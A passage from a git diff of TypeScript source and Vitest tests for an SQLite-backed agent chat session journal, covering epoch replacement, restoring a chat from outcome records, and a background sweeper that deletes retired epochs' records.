identity: fixture.item(1), + body: fixture.body('settled'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + } + + const [first, replay] = await Promise.all([ + journal.appendLifecycleBatch(input), + journal.appendLifecycleBatch(input) + ]) + + expect([replay, first.sequence]).toEqual([first, 2]) + }) + + it('applies every mutation at one sequence and deduplicates a replay across reopen', async () => { + const journal = await fixture.open() + const turn: AgentJournalItemIdentity = { + provider: 'legacy', + agent: 'codex', + sessionId: 'session-1', + recordId: 'turn-lifecycle:turn-1' + } + await journal.appendItem( + turn, + { kind: 'status', text: 'working' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + + const settled = await journal.appendLifecycleBatch({ + settlementId: 'exit:turn-1', + fence: 1, + mutations: [ + { + kind: 'item', + identity: fixture.item(1), + body: fixture.body('tool settled'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }, + { + kind: 'item', + identity: { provider: 'orca', clientMessageId: 'exit-status' }, + body: { kind: 'status', text: 'Provider exited' }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }, + { kind: 'tombstone', identity: turn } + ] + }) + const atSettlement = journal + .snapshot() + .items.filter((entry) => entry.sequence === settled.sequence) + expect(atSettlement).toHaveLength(2) + expect( + journal + .snapshot() + .items.some((entry) => entry.body.kind === 'status' && entry.body.text === 'working') + ).toBe(false) + await journal.close() + + const reopened = await fixture.open() + const beforeReplay = reopened.cursor() + const replay = await reopened.appendLifecycleBatch({ + settlementId: 'exit:turn-1', + fence: 1, + mutations: [ + { + kind: 'item', + identity: fixture.item(9), + body: fixture.body('must not appear'), + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ] + }) + expect(replay).toEqual(beforeReplay) + expect( + reopened + .snapshot() + .items.some( + (entry) => + entry.body.kind === 'message' && + entry.body.blocks.some( + (block) => block.type === 'text' && block.text === 'must not appear' + ) + ) + ).toBe(false) + }) + }) + + describe('on-disk layout', () => { + it('keeps every chat of the state directory in its one database, and no per-chat file', async () => { + const journal: AgentSessionJournal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(await readdir(fixture.root)).toContain('agent-session-journal.db') + expect(await readdir(fixture.root)).not.toContain('agent-session-journal') + await journal.close() + await fixture.withJournalDatabase(fixture.root, (db) => { + expect( + db.prepare("SELECT value_json FROM journal_outcomes WHERE field = 'items'").get() + ?.value_json + ).toContain('"kind":"message"') + expect(db.prepare('SELECT epoch FROM journal_sessions').get()).toMatchObject({ + epoch: journal.epoch + }) + }) + }) + }) + + describe('what a handle found on disk when it opened', () => { + const submission = (clientMessageId: string) => ({ + clientMessageId, + payloadFingerprint: 'fp', + body: { kind: 'message' as const, role: 'user' as const, blocks: [] }, + fence: 1, + handoverRecorded: true as const + }) + + it('names rows an earlier handle wrote, and never a row of a later epoch', async () => { + const earlier = await fixture.open() + await earlier.appendItem(fixture.item(1), fixture.body('one'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await earlier.appendSubmission(submission('earlier')) + await earlier.close() + + const journal = await fixture.open() + const leftover = journal.submissions().find((entry) => entry.clientMessageId === 'earlier') + expect(journal.wroteBeforeOpen(leftover?.acceptedSequence)).toBe(true) + + await journal.resolveDispatch({ + clientMessageId: 'earlier', + state: 'unknown', + reason: 'unconfirmed from an earlier host', + fence: 1 + }) + // Epochs restart sequences, so later rows can fall below the old open cursor. + await journal.replaceEpochItems('handle_forked', 1, []) + await journal.appendSubmission(submission('later')) + const later = journal.submissions().find((entry) => entry.clientMessageId === 'later') + expect(later?.acceptedSequence).toBeLessThanOrEqual(2) + expect(journal.wroteBeforeOpen(later?.acceptedSequence)).toBe(false) + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-mixed-epoch-replacement.test.ts b/src/main/native-chat/agent-session-journal/journal-mixed-epoch-replacement.test.ts new file mode 100644 index 00000000000..6f1a72ca78f --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-mixed-epoch-replacement.test.ts @@ -0,0 +1,185 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalItemBody, + type AgentJournalItemIdentity, + type AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { + createTrackedJournalOpener, + liveTestJournalRows, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { journalOutcomeSource } from './journal-outcome-format' +import { sweepJournalOutcomePage } from './journal-outcome-cleanup' +import type { AgentSessionJournal } from './journal-store' +import { JournalWriteProjection } from './journal-write-projection' + +// An existing chat this build has written to holds old input rows, the marker and records. Rewind, +// replacement and rollover found an outcome-only epoch from what the open chat holds, delete the +// retired epoch's rows whole inside that transaction, as main does, and leave its records to the +// runner's sweep; a refused replacement leaves the mixed chat as it was. +const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-mixed-replacement', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} +const FENCE = 1 +const scope = { fence: FENCE, turnScope: AGENT_JOURNAL_THREAD_SCOPE } +const item = (ordinal: number): AgentJournalItemIdentity => ({ + provider: 'codex', + threadId: 'thread-1', + turnId: 'turn-1', + ordinal +}) +const status = (text: string): AgentJournalItemBody => ({ kind: 'status', text }) +const message = (text: string) => ({ + kind: 'message' as const, + role: 'user' as const, + blocks: [{ type: 'text' as const, text }] +}) + +let root: string +const journals = createTrackedJournalOpener() +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-mixed-replacement-')) + // Every commit restores the chat from disk and fails the write if it differs from live. + JournalWriteProjection.verifyEachCommit = true +}) +afterEach(async () => { + JournalWriteProjection.verifyEachCommit = false + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +const db = () => openTestJournalHostDatabase(root).db +const rowsOfEpoch = (epoch: string) => + db().prepare('SELECT seq, row_json FROM journal_rows WHERE epoch = ? ORDER BY seq').all(epoch) +const recordsOf = (generation: number) => + db().prepare('SELECT * FROM journal_outcomes WHERE generation = ? ORDER BY seq').all(generation) + +/** Old rows (items 0 and 1, a waiting card, a user Stop), then this build's records (item 0 + * revised, item 2, a second card). */ +async function mixedChat(): Promise { + const older = createTrackedJournalOpener({ legacyInputs: true }) + const earlier = await older.open({ identity: IDENTITY, stateDirectory: root }) + await earlier.appendItem(item(0), status('first'), scope) + await earlier.appendItem(item(1), status('second'), scope) + await earlier.queuedMessages.insert({ messageId: 'card-old', body: message('old card') }) + await earlier.appendStopEvent({ reason: 'user-stop' }, FENCE) + await older.closeAll() + const journal = await journals.open({ identity: IDENTITY, stateDirectory: root }) + await journal.appendItem(item(0), status('first, revised'), scope) + await journal.appendItem(item(2), status('third'), scope) + await journal.queuedMessages.insert({ messageId: 'card-new', body: message('new card') }) + const source = journalOutcomeSource(db(), IDENTITY.sessionId, journal.epoch) + expect(source?.prefix).toBeGreaterThan(0) + return journal +} + +/** What a user sees of the chat: its items, sends, queue and pause. */ +function seen(journal: AgentSessionJournal) { + return { + items: journal.snapshot().items.map((entry) => entry.body), + cards: journal.queuedMessages.list().map((card) => [card.messageId, card.body, card.state]), + stop: journal.queuedMessages.userStopInForce()?.event.reason ?? null + } +} + +async function reopened() { + await journals.closeAll() + return seen(await journals.open({ identity: IDENTITY, stateDirectory: root })) +} + +function expectRetiredWhole(retired: { epoch: string; generation: number }, live: string) { + expect(rowsOfEpoch(retired.epoch)).toEqual([]) + const source = journalOutcomeSource(db(), IDENTITY.sessionId, live) + // The new epoch is outcome-only: its rows hold only the marker. + expect(source?.prefix).toBe(0) + expect(rowsOfEpoch(live).map((row) => JSON.parse(String(row.row_json)).kind)).toEqual([ + 'outcomes' + ]) + expect(recordsOf(retired.generation).length).toBeGreaterThan(0) + const database = openTestJournalHostDatabase(root) + while (sweepJournalOutcomePage(database)) { + // Sweeps one bounded page per transaction. + } + expect(recordsOf(retired.generation)).toEqual([]) + expect(recordsOf(source!.generation).length).toBeGreaterThan(0) +} + +it.each(['rewind', 'replacement'] as const)( + 'a %s of a mixed chat keeps what the user kept and deletes the retired epoch whole', + async (path) => { + const journal = await mixedChat() + const retired = { + epoch: journal.epoch, + generation: journalOutcomeSource(db(), IDENTITY.sessionId, journal.epoch)!.generation + } + const kept = [ + { identity: item(0), body: status('first, revised'), ownerFence: FENCE }, + { identity: item(2), body: status('third'), ownerFence: FENCE } + ] + await journal.replaceEpochItems( + path === 'rewind' ? 'handle_forked' : 'legacy_import', + FENCE, + kept + ) + const live = seen(journal) + expect(live).toEqual({ + items: [status('first, revised'), status('third')], + cards: [ + ['card-old', message('old card'), 'waiting'], + ['card-new', message('new card'), 'waiting'] + ], + stop: 'user-stop' + }) + const epoch = journal.epoch + expect(epoch).not.toBe(retired.epoch) + expect(await reopened()).toEqual(live) + expectRetiredWhole(retired, epoch) + } +) + +it('a rollover of a mixed chat keeps its queue and deletes the retired epoch whole', async () => { + const journal = await mixedChat() + const retired = { + epoch: journal.epoch, + generation: journalOutcomeSource(db(), IDENTITY.sessionId, journal.epoch)!.generation + } + const before = seen(journal) + await journal.rollEpoch('unreconcilable_prefix', FENCE) + const live = seen(journal) + expect(live).toEqual({ ...before, items: [], stop: null }) + const epoch = journal.epoch + expect(await reopened()).toEqual(live) + expectRetiredWhole(retired, epoch) +}) + +it('a refused replacement of a mixed chat leaves its rows, records and state as they were', async () => { + const journal = await mixedChat() + const rows = liveTestJournalRows(db(), IDENTITY.sessionId) + const records = db().prepare('SELECT * FROM journal_outcomes ORDER BY rowid').all() + const before = seen(journal) + const unreadable: AgentJournalItemBody = { + kind: 'message', + role: 'assistant', + blocks: [{ type: 'tool-call', name: 'Bash', input: null, callId: ' ' }] + } + await expect( + journal.replaceEpochItems('handle_forked', FENCE, [ + { identity: item(0), body: status('first, revised'), ownerFence: FENCE }, + { identity: item(5), body: unreadable, ownerFence: FENCE } + ]) + ).rejects.toMatchObject({ code: 'journal_row_rejected' }) + expect(liveTestJournalRows(db(), IDENTITY.sessionId)).toEqual(rows) + expect(db().prepare('SELECT * FROM journal_outcomes ORDER BY rowid').all()).toEqual(records) + expect(seen(journal)).toEqual(before) + expect(await reopened()).toEqual(before) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-open.ts b/src/main/native-chat/agent-session-journal/journal-open.ts index bd1561b4e51..35a2d593291 100644 --- a/src/main/native-chat/agent-session-journal/journal-open.ts +++ b/src/main/native-chat/agent-session-journal/journal-open.ts @@ -1,5 +1,10 @@ // Replay live epochs without rewriting history; damage/newer rows fail load and remain on disk. +import { journalOutcomeSource } from './journal-outcome-format' +import { readJournalOutcomes } from './journal-outcome-table' +import { JournalOutcomeDecodeError } from './journal-outcome-codec' +import { readJournalOutcomeGroups, type JournalReadRow } from './journal-read-row' +import { AgentSessionJournalError } from './journal-write-guards' import type Database from '../../sqlite/sync-database' import { applyJournalRow, @@ -11,7 +16,7 @@ import { readJournalRowsAfter, readJournalSessionEpoch } from './journal-row-table' -import { parseJournalRow, type JournalRow } from './journal-row-schema' +import { parseJournalRow } from './journal-row-schema' const FIRST_JOURNAL_SEQUENCE = 1 @@ -33,23 +38,78 @@ export function replayJournal(db: Database.Database, sessionId: string): Journal if (epoch === null) { return null } - const fold = startJournalRowFold({ sessionId, epoch }) - for (const entry of iterateJournalEpochRows(db, sessionId, epoch)) { - if (!fold.add(entry)) { + return foldJournalFromState(db, createJournalReducerState(sessionId, epoch)) +} + +/** The read is synchronous, like main's replay: it blocks once for one chat's saved records (its + * frozen input prefix, then each outcome key's newest record), and nothing can interleave with it. + * Admission comes first, so a newer chat is never folded. */ +export function restoreJournal(db: Database.Database, sessionId: string): JournalLoad | null { + const epoch = readJournalSessionEpoch(db, sessionId) + if (epoch === null) { + return null + } + const empty = createJournalReducerState(sessionId, epoch) + try { + const source = journalOutcomeSource(db, sessionId, epoch) + if (!source) { + return foldJournalFromState(db, empty) + } + let baseline: JournalReducerState | undefined + if (source.prefix > 0) { + const prefix = foldJournalFromState(db, empty, source.prefix) + if (prefix.newer || prefix.damage || prefix.state.lastSequence !== source.prefix) { + const gap = { sequence: prefix.state.lastSequence + 1, cause: 'sequence-gap' as const } + return { ...prefix, damage: prefix.newer ? null : (prefix.damage ?? gap) } + } + baseline = prefix.state + } + const state = readJournalOutcomes(db, sessionId, epoch, source, baseline) + return { state, newer: null, damage: null } + } catch (error) { + if (error instanceof AgentSessionJournalError && error.code === 'journal_read_only') { + return { state: empty, newer: { sequence: 1 }, damage: null } + } + // Only stored content this build rejects is damage; a storage error stays retryable, as on main. + if (error instanceof JournalOutcomeDecodeError) { + return { state: empty, newer: null, damage: { sequence: 1, cause: 'unparseable-row' } } + } + throw error + } +} + +/** Folds input rows as main does, up to `through` when the epoch's outcome records follow them. */ +function foldJournalFromState( + db: Database.Database, + state: JournalReducerState, + through = Number.POSITIVE_INFINITY +): JournalLoad { + const { sessionId, epoch, lastSequence } = state + const fold = startJournalRowFold({ sessionId, epoch }, state) + for (const entry of iterateJournalEpochRows( + db, + sessionId, + epoch, + lastSequence === 0 ? Number.MIN_SAFE_INTEGER : lastSequence + )) { + if (entry.seq > through || !fold.add(entry)) { break } } return fold.finish() } -export function startJournalRowFold(input: { sessionId: string; epoch: string }): { +/** untilDamage stops at the first damage, for callers that only ask whether a fold publishes. */ +export function startJournalRowFold( + input: { sessionId: string; epoch: string; untilDamage?: boolean }, + state = createJournalReducerState(input.sessionId, input.epoch) +): { add: (entry: { seq: number; rowJson: string; ts?: number }) => boolean finish: () => JournalLoad } { - const state = createJournalReducerState(input.sessionId, input.epoch) - let expectedSequence = FIRST_JOURNAL_SEQUENCE + let expectedSequence = state.lastSequence + 1 let damage: JournalDamage | null = null - let anchored = false + let anchored = state.lastSequence > 0 let newer: { sequence: number } | null = null let empty = true @@ -98,7 +158,7 @@ export function startJournalRowFold(input: { sessionId: string; epoch: string }) : { sequence: FIRST_JOURNAL_SEQUENCE, cause: 'no-epoch-row' as const }) return { state, newer, damage: newer ? null : found } } - return { add, finish } + return { add: input.untilDamage ? (entry) => add(entry) && damage === null : add, finish } } export function journalRowsAfterReader( @@ -106,25 +166,46 @@ export function journalRowsAfterReader( sessionId: string, epoch: string, limit?: number -): (afterSequence: number) => JournalRow[] { +): (afterSequence: number) => JournalReadRow[] { return (afterSequence) => readJournalRowsAfterCursor(db, sessionId, epoch, afterSequence, limit) } -/** Stop replay at the first unreadable row; never serve a partial tail beyond it. */ +/** Stop replay at the first unreadable row; never serve a partial tail beyond it. A chat with an + * input prefix pages its rows, then its outcome groups, each sequence exactly once. */ export function readJournalRowsAfterCursor( db: Database.Database, sessionId: string, epoch: string, afterSequence: number, limit?: number -): JournalRow[] { - const rows: JournalRow[] = [] - for (const stored of readJournalRowsAfter(db, sessionId, epoch, afterSequence, limit)) { - const parsed = parseJournalRow(stored.rowJson) - if (!parsed.ok) { - break +): JournalReadRow[] { + const source = journalOutcomeSource(db, sessionId, epoch) + const prefix = source ? source.prefix : Number.POSITIVE_INFINITY + const rows: JournalReadRow[] = [] + if (afterSequence < prefix) { + for (const stored of readJournalRowsAfter(db, sessionId, epoch, afterSequence, limit)) { + const parsed = stored.seq <= prefix ? parseJournalRow(stored.rowJson) : null + if (!parsed?.ok) { + // An unreadable prefix row ends the page; outcome groups never skip past it. + return parsed ? rows : [...rows, ...groupsAfter(prefix)] + } + rows.push(parsed.row) + } + if (!source || (limit !== undefined && rows.length >= limit)) { + return rows } - rows.push(parsed.row) } - return rows + return [...rows, ...groupsAfter(Math.max(afterSequence, prefix))] + + function groupsAfter(after: number): JournalReadRow[] { + return source + ? readJournalOutcomeGroups( + db, + epoch, + source, + after, + limit === undefined ? undefined : limit - rows.length + ) + : [] + } } diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-cleanup.ts b/src/main/native-chat/agent-session-journal/journal-outcome-cleanup.ts new file mode 100644 index 00000000000..c26a964c286 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-cleanup.ts @@ -0,0 +1,157 @@ +// One sweeper per database deletes retired epochs' records in the background. Opens and sends never +// wait for it: a retired generation is one no current epoch names, so no read reaches its records. + +import type { JournalHostDatabase } from './journal-host-database' +import type Database from '../../sqlite/sync-database' + +const FIRST_PASS_MS = 60_000 +const PASS_INTERVAL_MS = 6 * 60 * 60_000 +const sweepPositions = new WeakMap() +type SweptDatabase = Pick + +/** A retired epoch's records go with it, as main deletes a retired epoch's rows: every generation + * the chat's current epoch no longer names is swept, one bounded page per transaction. */ +export function sweepJournalOutcomePage( + database: Pick +): boolean { + return database.transaction((db) => { + const after = sweepPositions.get(db) ?? 0 + const candidates = db + .prepare(`SELECT a.generation FROM journal_outcome_generations a LEFT JOIN journal_outcome_epochs e + ON e.session_id = a.session_id AND e.epoch = a.epoch AND e.generation = a.generation + WHERE e.session_id IS NULL AND a.generation > ? ORDER BY a.generation LIMIT 32`) + .all(after) + for (const { generation } of candidates) { + if (typeof generation !== 'number') { + continue + } + sweepPositions.set(db, generation) + const removed = db + .prepare(`DELETE FROM journal_outcomes WHERE rowid IN ( + SELECT rowid FROM journal_outcomes WHERE generation = ? LIMIT 32)`) + .run(generation) + if (removed.changes === 0) { + db.prepare('DELETE FROM journal_outcome_generations WHERE generation = ?').run(generation) + continue + } + // One bounded data page per transaction, even with many retired generations. The next page + // resumes at this generation, so it never rescans the live ones before it. + sweepPositions.set(db, generation - 1) + return true + } + if (candidates.length === 32) { + return true + } + sweepPositions.delete(db) + return false + }) +} + +export type JournalPace = { work: (unit: () => T) => T; rest: () => Promise } + +/** A 10% duty cycle for background deletion only: a chat open or a send is never charged. */ +export function createJournalPace( + now: () => number, + delay: (ms: number) => Promise +): JournalPace { + let worked = 0 + return { + work(unit: () => T): T { + const start = now() + try { + return unit() + } finally { + worked += now() - start + } + }, + async rest(): Promise { + const ms = worked >= 25 ? worked * 9 : 0 + if (ms > 0) { + worked = 0 + } + await delay(ms) + } + } +} + +/** Sweeps a minute after launch, then every six hours; a failed pass is retried by the next one. */ +export class JournalOutcomeSweeper { + private readonly pace: JournalPace + private running: Promise | null = null + private timer: ReturnType | null = null + private stopped = false + + constructor( + private readonly deps: { + database: () => SweptDatabase | null + now?: () => number + delay?: (ms: number) => Promise + onError?: (error: unknown) => void + } + ) { + this.pace = createJournalPace(deps.now ?? (() => performance.now()), deps.delay ?? delay) + } + + start(): this { + this.schedule(FIRST_PASS_MS) + return this + } + + stop(): void { + this.stopped = true + this.clearTimer() + } + + pass(): Promise { + this.running ??= this.run().finally(() => { + this.running = null + this.schedule(PASS_INTERVAL_MS) + }) + return this.running + } + + private async run(): Promise { + for (;;) { + const database = this.current() + if (!database || !this.pace.work(() => sweepJournalOutcomePage(database))) { + return + } + await this.pace.rest() + } + } + + private schedule(ms: number): void { + if (this.stopped) { + return + } + this.clearTimer() + this.timer = setTimeout(() => { + this.timer = null + void this.pass().catch((error: unknown) => this.deps.onError?.(error)) + }, ms) + unref(this.timer) + } + + private clearTimer(): void { + if (this.timer) { + clearTimeout(this.timer) + } + this.timer = null + } + + private current(): SweptDatabase | null { + const database = this.deps.database() + return this.stopped || !database || database.isClosed || database.readOnly ? null : database + } +} + +function delay(ms: number): Promise { + return new Promise((resolve) => unref(setTimeout(resolve, ms))) +} + +/** Mobile test programs type global timers as numbers; Node timers may release the event loop. */ +function unref(timer: unknown): void { + if (typeof timer === 'object' && timer && 'unref' in timer && typeof timer.unref === 'function') { + timer.unref() + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-codec.ts b/src/main/native-chat/agent-session-journal/journal-outcome-codec.ts new file mode 100644 index 00000000000..4f7ee7e222d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-codec.ts @@ -0,0 +1,199 @@ +import { z } from 'zod' +import type { SqliteRow } from '../../sqlite/sqlite-statement' +import type { JournalReducerState } from './journal-reducer' +import type { JournalEntryChange } from './journal-transition-collections' +import { journalEntryJson, journalStateScalars } from './journal-state-layout' +import { + admitOutcomeFormat1, + JOURNAL_OUTCOME_FORMAT_1, + type AdmittedOutcome +} from './journal-outcome-format-1' +import { decodeOutcomeFormat1Onto } from './journal-outcome-format-1-decode' +import { AgentSessionJournalError } from './journal-write-guards' + +export type JournalOutcome = { + seq: number + field: string + key: string + format: number + ordinal: string + json: string + deleted: boolean +} + +/** A key first written over a frozen input prefix keeps the place the prefix gave it. */ +export const JOURNAL_PREFIX_ORDINAL = 'b' + +/** Stored outcome content this build rejects; storage errors never become this, so they stay + * retryable, as main's replay keeps them. */ +export class JournalOutcomeDecodeError extends Error { + override readonly name = 'JournalOutcomeDecodeError' +} + +const scalars = (state: JournalReducerState): Record => + z.record(z.string(), z.unknown()).parse(JSON.parse(journalStateScalars(state))) + +/** Encoding freezes a sequence's contributions before the next input can mutate the draft; + * `untracked` reads each changed value as it stands, not through the draft's tracking. */ +export function encodeJournalOutcomes( + state: JournalReducerState, + changes: readonly JournalEntryChange[], + before: Record, + untracked: (key: string, value: unknown) => unknown +): { values: Omit[]; scalars: Record } { + const next = scalars(state) + const values = changes.map((entry) => ({ + seq: state.lastSequence, + field: entry.path, + key: JSON.stringify(entry.key), + format: JOURNAL_OUTCOME_FORMAT_1, + json: entry.deleted + ? 'null' + : entry.path === 'items' + ? JSON.stringify(entry.value, untracked) + : journalEntryJson(entry.key, entry.value, untracked), + deleted: entry.deleted + })) + for (const [key, value] of Object.entries(next)) { + // The sequence is the record's own, and the epoch's coverage on read; it is never stored. + if (key !== 'lastSequence' && JSON.stringify(value) !== JSON.stringify(before[key])) { + values.push({ + seq: state.lastSequence, + field: '$', + key: JSON.stringify(key), + format: JOURNAL_OUTCOME_FORMAT_1, + json: JSON.stringify(value), + deleted: false + }) + } + } + for (const value of values) { + // A reducer field format 1 has no home for needs a new outcome format, never a silent change. + if (admitOutcomeFormat1(value) === 'unknown') { + throw new Error(`journal outcome format 1 does not store ${value.field} ${value.key}`) + } + } + return { values, scalars: next } +} + +export function journalOutcomeScalars(state: JournalReducerState): Record { + return scalars(state) +} + +/** Admits one stored record or refuses the chat: a newer format or field as newer, anything else as + * damage. */ +export function decodeJournalOutcome(row: SqliteRow): JournalOutcome { + return admitJournalOutcome(row).value +} + +function admitJournalOutcome(row: SqliteRow): { value: JournalOutcome; admitted: AdmittedOutcome } { + return decodingOutcome(() => { + if ( + typeof row.seq !== 'number' || + !Number.isSafeInteger(row.seq) || + row.seq < 1 || + typeof row.field !== 'string' || + typeof row.entry_key !== 'string' || + typeof row.format !== 'number' || + !Number.isSafeInteger(row.format) || + row.format < 1 || + typeof row.ordinal !== 'string' || + !/^(b|s\d{16}:\d{16})$/.test(row.ordinal) || + typeof row.value_json !== 'string' || + (row.deleted !== 0 && row.deleted !== 1) + ) { + throw new Error('invalid journal outcome') + } + const value = { + seq: row.seq, + field: row.field, + key: row.entry_key, + format: row.format, + ordinal: row.ordinal, + json: row.value_json, + deleted: row.deleted === 1 + } + const admitted = + value.format === JOURNAL_OUTCOME_FORMAT_1 ? admitOutcomeFormat1(value) : 'unknown' + if (admitted === 'unknown') { + throw new AgentSessionJournalError('journal_read_only', 'the chat holds a newer outcome') + } + return { value, admitted } + }) +} + +/** A pure decode: a newer writer's record is refused as newer, anything else it throws is damage. */ +export function decodingOutcome(decode: () => T): T { + try { + return decode() + } catch (error) { + if (error instanceof AgentSessionJournalError || error instanceof JournalOutcomeDecodeError) { + throw error + } + throw new JournalOutcomeDecodeError('invalid journal outcome', { cause: error }) + } +} + +type Newest = AdmittedOutcome & Pick + +/** Last-write-wins per key, deletions included, so the tail can remove values from a frozen prefix; + * order comes from the canonical log. */ +export class JournalOutcomeFold { + private readonly values = new Map>() + /** Admits one stored record and keeps its value as admission parsed it, not its text. */ + add(row: SqliteRow): Pick { + const { value, admitted } = admitJournalOutcome(row) + let field = this.values.get(value.field) + if (!field) { + field = new Map() + this.values.set(value.field, field) + } + field.set(value.key, { ordinal: value.ordinal, deleted: value.deleted, ...admitted }) + return value + } + + /** Applies the latest values over `baseline` (the folded input prefix) or over the scalars alone: + * a deletion removes, a prefix-ordinal value replaces in place, and every other value takes its + * canonical place after the prefix. Each record was admitted as format 1 on read. A prefix-ordinal + * value the prefix does not hold is still the key's newest value and is appended rather than + * refusing the chat; that can only happen if the prefix is read differently from how it was + * written, which the marker's rule forbids (`JOURNAL_OUTCOME_MARKER_VERSION`). */ + finish( + sessionId: string, + epoch: string, + through: number, + baseline?: JournalReducerState + ): JournalReducerState { + const scalars: [string, unknown][] = [ + ...[...(this.values.get('$')?.values() ?? [])].map((value): [string, unknown] => [ + String(value.entryKey), + value.kept + ]), + ['lastSequence', through] + ] + const decode = decodingOutcome(() => decodeOutcomeFormat1Onto(scalars, baseline)) + for (const [field, entries] of this.values) { + if (field === '$') { + continue + } + // Canonical ordinals compare bytewise, as SQLite's BINARY collation orders them; the prefix + // ordinal sorts before every appended one. + const ordered = [...entries.values()].sort((a, b) => (a.ordinal < b.ordinal ? -1 : 1)) + for (const value of ordered) { + decodingOutcome(() => { + if (value.deleted || value.ordinal !== JOURNAL_PREFIX_ORDINAL) { + decode.remove(field, value.entryKey) + } + if (!value.deleted) { + decode.entry(field, value.kept) + } + }) + } + } + const state = decode.finish() + if (state.sessionId !== sessionId || state.epoch !== epoch) { + throw new JournalOutcomeDecodeError('invalid journal outcome coverage') + } + return state + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-format-1-decode.ts b/src/main/native-chat/agent-session-journal/journal-outcome-format-1-decode.ts new file mode 100644 index 00000000000..a7495a6274d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-format-1-decode.ts @@ -0,0 +1,180 @@ +import { z } from 'zod' +import type { AgentJournalRenderItem } from '../../../shared/agent-session-journal-types' +import { createJournalReducerState, type JournalReducerState } from './journal-reducer' +import { JournalDerivedTurnScope } from './journal-derived-turn-scope' +import { + outcomeFormat1StoredScalars, + outcomeFormat1StrictScalars +} from './journal-outcome-format-1' + +// Part of frozen outcome format 1: builds reducer state from its stored scalars and keyed entries. +// Every value arrives as admission parsed it and walked it strictly, so these views only type it. + +type JournalStateDecode = { + entry: (path: string, entry: unknown) => void + remove: (path: string, key: unknown) => void + finish: () => JournalReducerState +} + +type Target = { + set: (entry: unknown) => void + remove: (key: unknown) => void +} + +/** Applies admitted scalars and entries onto `baseline`, or onto a new chat state when the scalars + * are complete. A map or set entry for an existing key replaces it in place. */ +export function decodeOutcomeFormat1Onto( + scalars: readonly [string, unknown][], + baseline?: JournalReducerState +): JournalStateDecode { + const state = baseline ?? createJournalReducerState('', '') + if (!baseline) { + outcomeFormat1StrictScalars.parse(Object.fromEntries(scalars)) + } + for (const [key, value] of scalars) { + applyScalar(state, key, value) + } + const targets = collectionTargets(state) + const target = (path: string): Target => { + const found = targets.get(path) + if (!found) { + throw new Error('unknown saved journal collection') + } + return found + } + return { + entry: (path, entry) => target(path).set(entry), + remove: (path, key) => target(path).remove(key), + finish: () => state + } +} + +// Live Stop settlement belongs to its process; only the row-derived pause facts are stored, so a +// stored value decodes as it is. +export function durableQueuePauseMarks( + marks: JournalReducerState['queuePauseMarks'] +): JournalReducerState['queuePauseMarks'] { + const stop = marks.latestStop + return { ...marks, latestStop: stop && { sequence: stop.sequence, event: stop.event } } +} + +const f = outcomeFormat1StoredScalars.shape +const admittedPauseMarks = z.custom() +const admittedHistoryOrigin = z.custom() + +function applyScalar(state: JournalReducerState, key: string, value: unknown): void { + switch (key) { + case 'sessionId': + state.sessionId = f.sessionId.parse(value) + return + case 'epoch': + state.epoch = f.epoch.parse(value) + return + case 'lastSequence': + state.lastSequence = f.lastSequence.parse(value) + return + case 'lastActivityAt': + state.lastActivityAt = f.lastActivityAt.parse(value) + return + case 'oldestSequence': + state.oldestSequence = f.oldestSequence.parse(value) + return + case 'highestFence': + state.highestFence = f.highestFence.parse(value) + return + case 'derivedTurnScope': + state.derivedTurnScope = JournalDerivedTurnScope.restore(f.derivedTurnScope.parse(value)) + return + case 'latestAcceptedTurnSequence': + state.latestAcceptedTurnSequence = f.latestAcceptedTurnSequence.parse(value) + return + case 'queuePauseMarks': + state.queuePauseMarks = admittedPauseMarks.parse(value) + return + case 'queue': + state.queue.revision = f.queue.parse(value).revision + return + case 'historyOrigin': + state.historyOrigin = admittedHistoryOrigin.parse(value) + return + default: + throw new Error('unknown saved journal scalar') + } +} + +const isString = (key: unknown): key is string => typeof key === 'string' +const isNumber = (key: unknown): key is number => typeof key === 'number' + +function collectionTargets(state: JournalReducerState): Map { + const map = (target: Map, isKey: (key: unknown) => key is K): Target => { + const admitted = z.custom<[K, V]>() + return { + set: (entry) => { + const [key, value] = admitted.parse(entry) + target.set(key, value) + }, + remove: (key) => { + if (isKey(key)) { + target.delete(key) + } + } + } + } + const member = z.custom<[string, string]>() + const set = (target: Set): Target => ({ + set: (entry) => { + target.add(member.parse(entry)[0]) + }, + remove: (key) => { + if (isString(key)) { + target.delete(key) + } + } + }) + const item = z.custom() + const echo = z.custom<[string] | [string, unknown]>() + const items = state.items + return new Map([ + [ + 'items', + { + set: (entry) => { + const value = item.parse(entry) + items.set(value.itemId, value) + }, + remove: (key) => { + if (isString(key)) { + items.delete(key) + } + } + } + ], + ['itemFences', map(state.itemFences, isString)], + ['itemExecutionOwners', map(state.itemExecutionOwners, isString)], + ['providerActivityAt', map(state.providerActivityAt, isNumber)], + ['tombstones', map(state.tombstones, isString)], + ['removedTurnIds', set(state.removedTurnIds)], + ['submissions', 